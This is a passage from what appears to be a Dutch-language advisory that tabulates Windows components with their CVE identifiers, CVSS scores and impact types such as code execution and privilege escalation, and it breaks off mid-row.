|\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | 